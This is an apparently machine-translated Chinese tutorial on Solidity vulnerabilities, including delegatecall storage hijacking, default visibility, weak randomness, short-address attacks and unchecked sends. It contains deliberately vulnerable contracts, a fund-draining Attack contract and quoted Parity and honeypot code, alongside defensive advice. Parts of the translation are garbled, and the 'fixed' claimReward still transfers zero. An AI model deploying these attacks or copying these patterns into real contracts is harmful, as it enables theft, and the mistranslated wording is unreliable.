根据上述知识，我们来探讨一些可能出现的缺陷。 考虑过于简单的合约，
EtherGame.sol：
contract EtherGame {
uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;
mapping(address => uint) redeemableEther;
// users pay 0.5 ether. At specific milestones, credit their accounts
function play() public payable {
require(msg.value == 0.5 ether); // each play is 0.5 ether
uint currentBalance = this.balance + msg.value;
// ensure no players after the game as finished
require(currentBalance <= finalMileStone);
// if at a milestone credit the players account
if (currentBalance == payoutMileStone1) {
redeemableEther[msg.sender] += mileStone1Reward;
}
else if (currentBalance == payoutMileStone2) {
redeemableEther[msg.sender] += mileStone2Reward;
}
else if (currentBalance == finalMileStone ) {
redeemableEther[msg.sender] += finalReward;
}
return;
}
function claimReward() public {
// ensure the game is complete
require(this.balance == finalMileStone);
// ensure there is a reward to give
require(redeemableEther[msg.sender] > 0);
redeemableEther[msg.sender] = 0;
msg.sender.transfer(redeemableEther[msg.sender]);
}
}
这个合约代表一个简单的游戏（自然会引起条件竞争），玩家0.5
ether可以将合约发送给合约，希望成为第一个达到三个里程碑之一的玩家。里程碑以ether计价。当游戏结束时，第一个达到里程碑的人可能会要求其中的一部分。当达到最后的里程碑（10
ether）时，游戏结束，用户可以申请奖励。
EtherGame合约的问题来自this.balance两条线[14]（以及协会[16]）和[32] 的不良使用。一个调皮的攻击者可以0.1
ether通过selfdestruct()函数（上面讨论过的）强行发送少量的以太，以防止未来的玩家达到一个里程碑。由于所有合法玩家只能发送0.5
ether增量，this.balance不再是半个整数，因为它也会0.1 ether有贡献。这可以防止[18]，[21]和[24]行的所有条件成立。
更糟糕的是，一个错过了里程碑的Ethereum的攻击者可能会强行发送10
ether（或者等同数量的以太会将合约的余额推到上面finalMileStone），这将永久锁定合约中的所有奖励。这是因为该claimReward()函数总是会回复，因为[32]上的要求（即this.balance大于finalMileStone）。
### 预防技术
这个漏洞通常是由于滥用this.balance。如果可能，合约逻辑应该避免依赖于合约余额的确切值，因为它可以被人为地操纵。如果基于逻辑应用this.balance，确保考虑到意外的余额。
如果需要确定的沉积ether值，则应使用自定义变量，以增加应付功能，以安全地追踪沉积的ether。这个变量不会受到通过selfdestruct()调用发送的强制以太网的影响。
考虑到这一点，修正后的EtherGame合约版本可能如下所示：
contract EtherGame {
uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;
uint public depositedWei;
mapping (address => uint) redeemableEther;
function play() public payable {
require(msg.value == 0.5 ether);
uint currentBalance = depositedWei + msg.value;
// ensure no players after the game as finished
require(currentBalance <= finalMileStone);
if (currentBalance == payoutMileStone1) {
redeemableEther[msg.sender] += mileStone1Reward;
}
else if (currentBalance == payoutMileStone2) {
redeemableEther[msg.sender] += mileStone2Reward;
}
else if (currentBalance == finalMileStone ) {
redeemableEther[msg.sender] += finalReward;
}
depositedWei += msg.value;
return;
}
function claimReward() public {
// ensure the game is complete
require(depositedWei == finalMileStone);
// ensure there is a reward to give
require(redeemableEther[msg.sender] > 0);
redeemableEther[msg.sender] = 0;
msg.sender.transfer(redeemableEther[msg.sender]);
}
}
在这里，我们刚刚创建了一个新变量，depositedEther它跟踪已知的以太存储，并且这是我们执行需求和测试的变量。请注意，我们不再有任何参考this.balance。
### 真实世界的例子：未知
我还没有找到这个在野被利用的例子。然而，在弱势群体竞赛中给出了一些[可利用的合约的例子](https://github.com/Arachnid/uscc/tree/master/submissions-2017/)。
## Delegatecall
在CALL与DELEGATECALL操作码是允许Ethereum开发者modularise他们的代码非常有用。对契约的标准外部消息调用由CALL操作码处理，由此代码在外部契约/功能的上下文中运行。该DELEGATECALL码是相同的标准消息的调用，但在目标地址执行的代码在调用合约的情况下与事实一起运行msg.sender，并msg.value保持不变。该功能支持实现库，开发人员可以为未来的合约创建可重用的代码。
虽然这两个操作码之间的区别很简单直观，但是使用DELEGATECALL会导致意外的代码执行。
有关进一步阅读，请参阅[Stake
Exchange上关于以太坊的这篇提问](https://ethereum.stackexchange.com/questions/3667/difference-between-call-callcode-and-delegatecall)，[官方文档](http://solidity.readthedocs.io/en/latest/introduction-to-smart-contracts.html#delegatecall-callcode-and-libraries)以及[如何保护您的智能合约：6](https://medium.com/loom-network/how-to-secure-your-smart-contracts-6-solidity-vulnerabilities-and-how-to-avoid-them-part-1-c33048d4d17d)。
### 漏洞
保护环境的性质DELEGATECALL已经证明，构建无脆弱性的定制库并不像人们想象的那么容易。库中的代码本身可以是安全的，无漏洞的，但是当在另一个应用程序的上下文中运行时，可能会出现新的漏洞。让我们看一个相当复杂的例子，使用斐波那契数字。
考虑下面的库可以生成斐波那契数列和相似形式的序列。 FibonacciLib.sol[^ 1]
// library contract - calculates fibonacci-like numbers;
contract FibonacciLib {
// initializing the standard fibonacci sequence;
uint public start;
uint public calculatedFibNumber;
// modify the zeroth number in the sequence
function setStart(uint _start) public {
start = _start;
}
function setFibonacci(uint n) public {
calculatedFibNumber = fibonacci(n);
}
function fibonacci(uint n) internal returns (uint) {
if (n == 0) return start;
else if (n == 1) return start + 1;
else return fibonacci(n - 1) + fibonacci(n - 2);
}
}
该库提供了一个函数，可以在序列中生成第n个斐波那契数。它允许用户更改第0个start数字并计算这个新序列中的第n个斐波那契数字。
现在我们来考虑一个利用这个库的合约。
FibonacciBalance.sol：
contract FibonacciBalance {
address public fibonacciLibrary;
// the current fibonacci number to withdraw
uint public calculatedFibNumber;
// the starting fibonacci sequence number
uint public start = 3;
uint public withdrawalCounter;
// the fibonancci function selector
bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));
// constructor - loads the contract with ether
constructor(address _fibonacciLibrary) public payable {
fibonacciLibrary = _fibonacciLibrary;
}
function withdraw() {
withdrawalCounter += 1;
// calculate the fibonacci number for the current withdrawal user
// this sets calculatedFibNumber
require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));
msg.sender.transfer(calculatedFibNumber * 1 ether);
}
// allow users to call fibonacci library functions
function() public {
require(fibonacciLibrary.delegatecall(msg.data));
}
}
该合约允许参与者从合约中提取ether，ether的金额等于与参与者提款订单相对应的斐波纳契数字;
即第一个参与者获得1个ether，第二个参与者获得1，第三个获得2，第四个获得3，第五个5等等（直到合约的余额小于被撤回的斐波纳契数）。
本合约中有许多要素可能需要一些解释。首先，有一个有趣的变量，fibSig。这包含字符串“fibonacci（uint256）”的Keccak（SHA-3）散列的前4个字节。这被称为[函数选择器](https://solidity.readthedocs.io/en/latest/abi-spec.html#function-selector)，calldata用于指定智能合约的哪个函数将被调用。它在delegatecall[21]行的函数中用来指定我们希望运行该fibonacci(uint256)函数。第二个参数delegatecall是我们传递给函数的参数。其次，我们假设FibonacciLib库的地址在构造函数中正确引用（[部署攻击向量](https://github.com/sigp/solidity-security-blog#deployment)部分 如果合约参考初始化，讨论一些与此类相关的潜在漏洞）。
你能在这份合约中发现任何错误吗？如果你把它改成混音，用ether填充并调用withdraw()，它可能会恢复。
您可能已经注意到，在start库和主调用合约中都使用了状态变量。在图书馆合约中，start用于指定斐波纳契数列的开始并设置为0，而3在FibonacciBalance合约中设置。您可能还注意到，FibonacciBalance合约中的回退功能允许将所有调用传递给库合约，这也允许调用库合约的setStart()功能。回想一下，我们保留了合约的状态，看起来这个功能可以让你改变start本地FibonnacciBalance合约中变量的状态。如果是这样，这将允许一个撤回更多的醚，因为结果calculatedFibNumber是依赖于start变量（如图书馆合约中所见）。实际上，该setStart()函数不会（也不能）修改合约中的start变量FibonacciBalance。这个合约中的潜在弱点比仅仅修改start变量要糟糕得多。
在讨论实际问题之前，我们先快速绕道了解状态变量（storage变量）实际上是如何存储在合约中的。状态或storage变量（持续在单个事务中的变量）slots在合约中引入时按顺序放置。（这里有一些复杂性，我鼓励读者阅读存储中状态变量的布局以便更透彻的理解）。
作为一个例子，让我们看看library
合约。它有两个状态变量，start和calculatedFibNumber。第一个变量是start，因此它被存储在合约的存储位置slot[0]（即第一个槽）。第二个变量calculatedFibNumber放在下一个可用的存储槽中slot[1]。如果我们看看这个函数setStart()，它会接受一个输入并设置start输入的内容。因此，该功能设置slot[0]为我们在该setStart()功能中提供的任何输入。同样，该setFibonacci()函数设置calculatedFibNumber为的结果fibonacci(n)。再次，这只是将存储设置slot[1]为值fibonacci(n)。
现在让我们看看FibonacciBalance合约。存储slot[0]现在对应于fibonacciLibrary地址并slot[1]对应于calculatedFibNumber。它就在这里出现漏洞。delegatecall
保留合约上下文。这意味着通过执行的代码delegatecall将作用于调用合约的状态（即存储）。
现在请注意，我们在withdraw()[21]线上执行，fibonacciLibrary.delegatecall(fibSig,withdrawalCounter)。这就调用了setFibonacci()我们讨论的函数，修改了存储
slot[1]，在我们当前的情况下calculatedFibNumber。这是预期的（即执行后，calculatedFibNumber得到调整）。但是，请记住，合约中的start变量FibonacciLib位于存储中slot[0]，即fibonacciLibrary当前合约中的地址。这意味着该功能fibonacci()会带来意想不到的结果。这是因为它引用start（slot[0]）当前调用上下文中的fibonacciLibrary哪个地址是地址（当解释为a时，该地址通常很大uint）。因此，该withdraw()函数很可能会恢复，因为它不包含uint(fibonacciLibrary)ether的量，这是什么calcultedFibNumber会返回。
更糟糕的是，FibonacciBalance合约允许用户fibonacciLibrary通过行[26]上的后备功能调用所有功能。正如我们前面所讨论的那样，这包括该setStart()功能。我们讨论过这个功能允许任何人修改或设置存储slot[0]。在这种情况下，存储slot[0]是fibonacciLibrary地址。因此，攻击者可以创建一个恶意合约（下面是一个例子），将地址转换为uint（这可以在python中轻松使用int('',16)）然后调用setStart()。这将改变fibonacciLibrary为攻击合约的地址。然后，无论何时用户调用withdraw()或回退函数，恶意契约都会运行（这可以窃取合约的全部余额），因为我们修改了实际地址fibonacciLibrary。这种攻击合约的一个例子是，
contract Attack {
uint storageSlot0; // corresponds to fibonacciLibrary
uint storageSlot1; // corresponds to calculatedFibNumber
// fallback - this will run if a specified function is not found
function() public {
storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw
// is called we don't send out any ether.
<attacker_address>.transfer(this.balance); // we take all the ether
}
}
请注意，此攻击合约calculatedFibNumber通过更改存储来修改slot[1]。原则上，攻击者可以修改他们选择的任何其他存储槽来对本合约执行各种攻击。我鼓励所有读者将这些合约放入Remix，并通过这些delegatecall功能尝试不同的攻击合约和状态更改。
同样重要的是要注意，当我们说这delegatecall是保留状态时，我们并不是在讨论合约的变量名称，而是这些名称指向的实际存储槽位。从这个例子中可以看出，一个简单的错误，可能导致攻击者劫持整个合约及其以太网。
### 预防技术
Solidity library为实施library合约提供了关键字（参见Solidity
Docs了解更多详情）。这确保了library合约是无国籍，不可自毁的。强制library成为无国籍人员可以缓解本节所述的存储上下文的复杂性。无状态库也可以防止攻击，攻击者可以直接修改库的状态，以实现依赖库代码的合约。作为一般的经验法则，在使用时DELEGATECALL要特别注意库合约和调用合约的可能调用上下文，并且尽可能构建无状态库。
### 真实世界示例：Parity Multisig Wallet（Second Hack）
第二种Parity Multisig Wallet
hack是一个例子，说明如果在非预期的上下文中运行良好的库代码的上下文可以被利用。这个黑客有很多很好的解释，比如这个概述：Parity MultiSig
Hacked。再次通过Anthony Akentiev，这个堆栈交换问题和深入了解Parity Multisig Bug。
要添加到这些参考资料中，我们来探索被利用的合约。library和钱包合约可以在这里的奇偶校验github上找到。
我们来看看这个合约的相关方面。这里包含两份利益合约，library合约和钱包合约。 library合约，
contract WalletLibrary is WalletEvents {
...
// throw unless the contract is not yet initialized.
modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
...
}
和钱包合约，
contract Wallet is WalletEvents {
...
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
else if (msg.data.length > 0)
_walletLibrary.delegatecall(msg.data);
}
...
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
}
请注意，Wallet合约基本上通过WalletLibrary委托调用将所有调用传递给合约。_walletLibrary此代码段中的常量地址充当实际部署的WalletLibrary合约（位于0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4）的占位符。
这些合约的预期运作是制定一个简单的低成本可部署Wallet合约，其代码基础和主要功能在WalletLibrary合约中。不幸的是，WalletLibrary合约本身就是一个合约，并保持它自己的状态。你能看出为什么这可能是一个问题？
有可能向WalletLibrary合约本身发送调用。具体来说，WalletLibrary合约可以初始化，并成为拥有。用户通过调用契约initWallet()函数来做到这一点，WalletLibrary成为Library合约的所有者。同一个用户，随后称为kill()功能。因为用户是Library合约的所有者，所以修改者通过并且Library合约被自动化。由于所有Wallet现存的合约都提及该Library合约，并且不包含更改该参考文献的方法，因此其所有功能（包括撤回ether的功能）都会随WalletLibrary合约一起丢失。更直接地说，这种类型的所有奇偶校验多数钱包中的所有以太会立即丢失或永久不可恢复。
## 默认可见性
Solidity中的函数具有可见性说明符，它们决定如何调用函数。可见性决定一个函数是否可以由用户或其他派生契约在外部调用，仅在内部或仅在外部调用。有四个可见性说明符，详情请参阅Solidity文档。函数默认public允许用户从外部调用它们。正如本节将要讨论的，可见性说明符的不正确使用可能会导致智能合约中的一些资金流失。
### 漏洞
函数的默认可见性是public。因此，不指定任何可见性的函数将由外部用户调用。当开发人员错误地忽略应该是私有的功能（或只能在合约本身内调用）的可见性说明符时，问题就出现了。
让我们快速浏览一个简单的例子。
contract HashForEther {
function withdrawWinnings() {
// Winner if the last 8 hex characters of the address are 0.
require(uint32(msg.sender) == 0);
_sendWinnings();
}
function _sendWinnings() {
msg.sender.transfer(this.balance);
}
}
这个简单的合约被设计为充当地址猜测赏金游戏。为了赢得合约的平衡，用户必须生成一个以太坊地址，其最后8个十六进制字符为0.一旦获得，他们可以调用该WithdrawWinnings()函数来获得他们的赏金。
不幸的是，这些功能的可见性尚未明确。特别是，该_sendWinnings()函数是public，因此任何地址都可以调用该函数来窃取赏金。
### 预防技术
总是指定合约中所有功能的可见性，即使这些功能是有意识的，这是一种很好的做法public。最近版本的Solidity现在将在编译过程中为未设置明确可见性的函数显示警告，以帮助鼓励这种做法。
### 真实世界示例：奇偶MultiSig钱包（First Hack）
在第一次Parity multi-sig黑客攻击中，约三千一百万美元的Ether被盗，主要是三个钱包。Haseeb
Qureshi在这篇文章中给出了一个很好的回顾。
实质上，多sig钱包（可以在这里找到）是从一个基础Wallet合约构建的，该基础合约调用包含核心功能的库合约（如真实世界中的例子：Parity
Multisig（Second Hack）中所述）。库合约包含初始化钱包的代码，如以下代码片段所示
contract WalletLibrary is WalletEvents {
...
// METHODS
...
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function initMultiowned(address[] _owners, uint _required) {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
...
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
}
请注意，这两个函数都没有明确指定可见性。这两个函数默认为public。该initWallet()函数在钱包构造函数中调用，并设置多sig钱包的所有者，如initMultiowned()函数中所示。由于这些功能被意外留下public，攻击者可以在部署的合约上调用这些功能，并将所有权重置为攻击者地址。作为主人，袭击者随后将所有以太网的钱包损失至3100万美元。
## 函数错误
以太坊区块链上的所有交易都是确定性的状态转换操作。这意味着每笔交易都会改变以太坊生态系统的全球状态，并且它以可计算的方式进行，没有不确定性。这最终意味着在区块链生态系统内不存在函数或随机性的来源。rand()在Solidity中没有功能。实现分散函数（随机性）是一个完善的问题，许多想法被提出来解决这个问题（见例如，RandDAO或使用散列的链在这个由Vitalik的描述后）。
### 漏洞
在以太坊平台上建立的一些首批合约基于赌博。从根本上讲，赌博需要不确定性（可以下注），这使得在区块链（一个确定性系统）上构建赌博系统变得相当困难。很明显，不确定性必须来自区块链外部的来源。这可能会导致同行之间的投注（例如参见承诺揭示技术），但是，如果要执行合约作为房屋，则显然更困难（如在二十一点我们的轮盘赌）。常见的陷阱是使用未来的块变量，如散列，时间戳，块数或gas限制。与这些问题有关的是，他们是由开采矿块的矿工控制的，因此并不是真正随机的。例如，考虑一个带有逻辑的轮盘智能合约，如果下一个块散列以偶数结尾，则返回一个黑色数字。一个矿工（或矿工池）可以在黑色上下注$
1M。如果他们解决下一个块并发现奇数的哈希结束，他们会高兴地不发布他们的块和我的另一个块，直到他们发现块散列是偶数的解决方案（假设块奖励和费用低于1美元M）。Martin
Swende在其优秀的博客文章中表明，使用过去或现在的变量可能会更具破坏性。此外，单独使用块变量意味着伪随机数对于一个块中的所有交易都是相同的，所以攻击者可以通过在一个块内进行多次交易来增加他们的胜利（应该有最大的赌注）。
### 预防技术
函数（随机性）的来源必须在区块链外部。这可以通过诸如commit-reveal之类的系统或通过将信任模型更改为一组参与者（例如RandDAO）来完成。这也可以通过一个集中的实体来完成，这个实体充当一个随机性的预言者。块变量（一般来说，有一些例外）不应该被用来提供函数，因为它们可以被矿工操纵。
### 真实世界示例：PRNG合约
Arseny Reutov
在分析了3649份使用某种伪随机数发生器（PRNG）的实时智能合约并发现43份可被利用的合约之后写了一篇博文。这篇文章详细讨论了使用块变量作为函数的缺陷。
## 外部合约引用
以太坊全球计算机的好处之一是能够重复使用代码并与已部署在网络上的合约进行交互。因此，大量合约引用外部合约，并且在一般运营中使用外部消息调用来与这些合约交互。这些外部消息调用可以以一些非显而易见的方式来掩盖恶意行为者的意图，我们将讨论这些意图。
### 漏洞
在Solidity中，无论地址上的代码是否表示正在施工的合约类型，都可以将任何地址转换为合约。这可能是骗人的，特别是当合约的作者试图隐藏恶意代码时。让我们以一个例子来说明这一点：
考虑一个代码，它基本上实现了Rot13密码。
Rot13Encryption.sol：
//encryption contract
contract Rot13Encryption {
event Result(string convertedString);
//rot13 encrypt a string
function rot13Encrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
//inline assembly to modify the string
assembly {
char := byte(0,char) // get the first byte
if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
{ char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
if iszero(eq(char, 0x20)) // ignore spaces
{mstore8(add(add(text,0x20), mul(i,1)), add(char,13))} // add 13 to char.
}
}
emit Result(text);
}
// rot13 decrypt a string
function rot13Decrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
assembly {
char := byte(0,char)
if and(gt(char,0x60), lt(char,0x6E))
{ char:= add(0x7B, sub(char,0x61)) }
if iszero(eq(char, 0x20))
{mstore8(add(add(text,0x20), mul(i,1)), sub(char,13))}
}
}
emit Result(text);
}
}
这个代码只需要一个字符串（字母az，没有验证），并通过将每个字符向右移动13个位置（围绕'z'）来加密它;
即'a'转换为'n'，'x'转换为'k'。这里的集合并不重要，所以如果在这个阶段没有任何意义，不要担心。
考虑以下使用此代码进行加密的合约，
import "Rot13Encryption.sol";
// encrypt your top secret info
contract EncryptionContract {
// library for encryption
Rot13Encryption encryptionLibrary;
// constructor - initialise the library
constructor(Rot13Encryption _encryptionLibrary) {
encryptionLibrary = _encryptionLibrary;
}
function encryptPrivateData(string privateInfo) {
// potentially do some operations here
encryptionLibrary.rot13Encrypt(privateInfo);
}
}
这个合约的问题是encryptionLibrary地址不公开或不变。因此，合约的配置人员可以在指向该合约的构造函数中给出一个地址：
//encryption contract
contract Rot26Encryption {
event Result(string convertedString);
//rot13 encrypt a string
function rot13Encrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
//inline assembly to modify the string
assembly {
char := byte(0,char) // get the first byte
if and(gt(char,0x6D), lt(char,0x7B)) // if the character is in [n,z], i.e. wrapping.
{ char:= sub(0x60, sub(0x7A,char)) } // subtract from the ascii number a by the difference char is from z.
if iszero(eq(char, 0x20)) // ignore spaces
{mstore8(add(add(text,0x20), mul(i,1)), add(char,26))} // add 13 to char.
}
}
emit Result(text);
}
// rot13 decrypt a string
function rot13Decrypt (string text) public {
uint256 length = bytes(text).length;
for (var i = 0; i < length; i++) {
byte char = bytes(text)[i];
assembly {
char := byte(0,char)
if and(gt(char,0x60), lt(char,0x6E))
{ char:= add(0x7B, sub(char,0x61)) }
if iszero(eq(char, 0x20))
{mstore8(add(add(text,0x20), mul(i,1)), sub(char,26))}
}
}
emit Result(text);
}
}
它实现了rot26密码（每个角色移动26个地方，得到它？：p）。再次强调，不需要了解本合约中的程序集。部署人员也可以链接下列合约：
contract Print{
event Print(string text);
function rot13Encrypt(string text) public {
emit Print(text);
}
}
如果这些合约中的任何一个的地址都在构造encryptPrivateData()函数中给出，那么该函数只会产生一个打印未加密的私有数据的事件。尽管在这个例子中，在构造函数中设置了类似库的协定，但是特权用户（例如owner）可以更改库合约地址。如果链接合约不包含被调用的函数，则将执行回退函数。例如，对于该行encryptionLibrary.rot13Encrypt()，如果指定的合约encryptionLibrary是：
contract Blank {
event Print(string text);
function () {
emit Print("Here");
//put malicious code here and it will run
}
}
那么会发出一个带有“Here”文字的事件。因此，如果用户可以更改合约库，原则上可以让用户在不知不觉中运行任意代码。
注意：不要使用这些加密合约，因为智能合约的输入参数在区块链上可见。另外，Rot密码并不是推荐的加密技术：p
### 预防技术
如上所示，无漏洞合约可以（在某些情况下）以恶意行为的方式进行部署。审计人员可以公开验证合约并让其所有者以恶意方式进行部署，从而产生具有漏洞或恶意的公开审计合约。
有许多技术可以防止这些情况发生。 一种技术是使用new关键字来创建合约。在上面的例子中，构造函数可以写成：
constructor（）{
encryptionLibrary = new Rot13Encryption（）;
}
这样，引用合约的一个实例就会在部署时创建，并且部署者不能在Rot13Encryption不修改智能合约的情况下用其他任何东西替换合约。
另一个解决方案是如果已知的话，对任何外部合约地址进行硬编码。
一般来说，应该仔细查看调用外部契约的代码。作为开发人员，在定义外部合约时，最好将合约地址公开（这种情况并非如此），以便用户轻松查看合约引用哪些代码。相反，如果合约具有私人变量合约地址，则它可能是某人恶意行为的标志（如现实示例中所示）。如果特权（或任何）用户能够更改用于调用外部函数的合约地址，则可能很重要（在分散的系统上下文中）来实现时间锁定或投票机制，以允许用户查看哪些代码正在改变或让参与者有机会选择加入/退出新的合约地址。
### 真实世界的例子：重入蜜罐
主网上发布了一些最近的蜜罐。这些合约试图胜过试图利用合约的以太坊黑客，但是谁又会因为他们期望利用的合约而失败。一个例子是通过在构造函数中用恶意代替期望的合约来应用上述攻击。代码可以在这里找到：
pragma solidity ^0.4.19;
contract Private_Bank
{
mapping (address => uint) public balances;
uint public MinDeposit = 1 ether;
Log TransferLog;
function Private_Bank(address _log)
{
TransferLog = Log(_log);
}
function Deposit()
public
payable
{
if(msg.value >= MinDeposit)
{
balances[msg.sender]+=msg.value;
TransferLog.AddMessage(msg.sender,msg.value,"Deposit");
}
}
function CashOut(uint _am)
{
if(_am<=balances[msg.sender])
{
if(msg.sender.call.value(_am)())
{
balances[msg.sender]-=_am;
TransferLog.AddMessage(msg.sender,_am,"CashOut");
}
}
}
function() public payable{}
}
contract Log
{
struct Message
{
address Sender;
string Data;
uint Val;
uint Time;
}
Message[] public History;
Message LastMsg;
function AddMessage(address _adr,uint _val,string _data)
public
{
LastMsg.Sender = _adr;
LastMsg.Time = now;
LastMsg.Val = _val;
LastMsg.Data = _data;
History.push(LastMsg);
}
}
一位reddit用户发布的这篇文章解释了他们如何在合约中失去1位以试图利用他们预计会出现在合约中的重入错误。
## 短地址/参数攻击
这种攻击并不是专门针对Solidity合约执行的，而是针对可能与之交互的第三方应用程序执行的。为了完整性，我添加了这个攻击，并了解参数如何在合约中被操纵。
有关进一步阅读，请参阅ERC20短地址攻击说明，ICO智能合约漏洞：短地址攻击或此书签。
### 漏洞
将参数传递给智能合约时，参数将根据ABI规范进行编码。可以发送比预期参数长度短的编码参数（例如，发送只有38个十六进制字符（19个字节）的地址而不是标准的40个十六进制字符（20个字节））。在这种情况下，EVM会将0填到编码参数的末尾以弥补预期的长度。
当第三方应用程序不验证输入时，这会成为问题。最明显的例子是当用户请求提款时，交易所不验证ERC20令牌的地址。Peter Venesses的文章“
上述ERC20短地址攻击解释 ”中详细介绍了这个例子。 考虑一下标准的ERC20传输函数接口，注意参数的顺序，
`function transfer(address to, uint tokens) public returns (bool success);`
现在考虑一下，一个交易所持有大量的令牌（比方说REP），并且用户希望撤回他们分享的100个代币。用户将提交他们的地址，0xdeaddeaddeaddeaddeaddeaddeaddeaddeaddead以及令牌的数量100。交换将在由所述指定的顺序编码这些参数transfer()功能，即address然后tokens。编码结果将是a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeaddead0000000000000000000000000000000000000000000000056bc75e2d63100000。前四个字节（a9059cbb）是transfer()
函数签名/选择器，第二个32字节是地址，后面是表示uint256令牌数的最后32个字节。请注意，最后的十六进制56bc75e2d63100000对应于100个令牌（由REP令牌合约指定的小数点后18位）。
好的，现在让我们看看如果我们发送一个丢失1个字节（2个十六进制数字）的地址会发生什么。具体而言，假设攻击者发送0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde一个地址（缺少最后两位数字）和相同的
100令牌撤回。如果交易所没有验证这个输入，它将被编码为a9059cbb000000000000000000000000deaddeaddeaddeaddeaddeaddeaddeaddeadde0000000000000000000000000000000000000000000000056bc75e2d6310000000。差别是微妙的。请注意，00已将其填充到编码的末尾，以弥补发送的短地址。当它被发送到智能合约时，address参数将被读为，0xdeaddeaddeaddeaddeaddeaddeaddeaddeadde00并且该值将被读为56bc75e2d6310000000（注意两个额外0的）。此值现在是25600令牌（值已被乘以256）。在这个例子中，如果交易所持有这么多的代币，用户会退出25600令牌（而交换机认为用户只是撤回100）到修改后的地址。很显然，在这个例子中攻击者不会拥有修改后的地址，但是如果攻击者在哪里产生以0's
结尾的地址（这可能很容易被强行强制）并且使用了这个生成的地址，他们很容易从毫无防备的交换中窃取令牌。
### 预防技术
我想很明显，在将所有输入发送到区块链之前对其进行验证可以防止这些类型的攻击。还应该指出的是参数排序在这里起着重要的作用。由于填充只发生在最后，智能合约中参数的仔细排序可能会缓解某些形式的此攻击。
### 真实世界的例子：未知
我不知道在野有这种公开的攻击。
## 未检查的CALL返回值
有很多方法可以稳固地执行外部调用。向外部账户发送ether通常通过该transfer()方法完成。但是，该send()功能也可以使用，并且对于更多功能的外部调用，CALL可以直接使用操作码。在call()和send()函数返回一个布尔值，指示如果调用成功还是失败。因此，这些功能有一个简单的警告，在执行这些功能将不会恢复交易，如果外部调用（由intialised
call()或send()）失败，而不在call()或send()将简单地返回false。当没有检查返回值时，会出现一个常见的错误，而开发人员希望恢复发生。
有关进一步阅读，请参阅DASP Top 10和扫描Live Ethereum合约中的“Unchecked-Send”错误。
### 漏洞
考虑下面的例子：
contract Lotto {
bool public payedOut = false;
address public winner;
uint public winAmount;
// ... extra functionality here
function sendToWinner() public {
require(!payedOut);
winner.send(winAmount);
payedOut = true;
}
function withdrawLeftOver() public {
require(payedOut);
msg.sender.send(this.balance);
}
}
这份合约代表了一个类似于大乐透的合约，在这种合约中，winner收到winAmount了ether，通常只剩下一点让任何人退出。
该错误存在于第[11]行，其中使用a
send()而不检查响应。在这个微不足道的例子中，可以将winner其事务失败（无论是通过耗尽天然气，是故意抛出回退函数还是通过调用堆栈深度攻击的合约）payedOut设置为true（无论是否发送了以太）
。在这种情况下，公众可以winner通过该withdrawLeftOver()功能撤回奖金。
### 预防技术
只要有可能，使用transfer()功能，而不是send()作为transfer()意志revert，如果外部事务恢复。如果send()需要，请务必检查返回值。
更强大的建议是采取撤回模式。在这个解决方案中，每个用户都承担着调用隔离功能（即撤销功能）的作用，该功能处理发送合约以外的事件，并因此独立地处理失败的发送事务的后果。这个想法是将外部发送功能与代码库的其余部分进行逻辑隔离，并将可能失败的事务负担交给正在调用撤消功能的最终用户。
### 真实的例子：Etherpot和以太之王
Etherpot是一个聪明的合约彩票，与上面提到的示例合约不太相似。etherpot的固体代码可以在这里找到：lotto.sol。这个合约的主要缺点是由于块哈希的使用不正确（只有最后的256块哈希值是可用的，请参阅Aakil
Fernandes
关于Etherpot如何正确实现的帖子）。然而，这份合约也受到未经检查的通话价值的影响。注意cash()lotto.sol的行[80]上的函数：
function cash(uint roundIndex, uint subpotIndex){
var subpotsCount = getSubpotsCount(roundIndex);
if(subpotIndex>=subpotsCount)
return;
var decisionBlockNumber = getDecisionBlockNumber(roundIndex,subpotIndex);
if(decisionBlockNumber>block.number)
return;
if(rounds[roundIndex].isCashed[subpotIndex])
return;
//Subpots can only be cashed once. This is to prevent double payouts
var winner = calculateWinner(roundIndex,subpotIndex);
var subpot = getSubpot(roundIndex);
winner.send(subpot);
rounds[roundIndex].isCashed[subpotIndex] = true;
//Mark the round as cashed
}
请注意，在第[21]行，发送函数的返回值没有被选中，然后下一行设置了一个布尔值，表示赢家已经发送了他们的资金。这个错误可以允许一个状态，即赢家没有收到他们的异议，但是合约状态可以表明赢家已经支付。
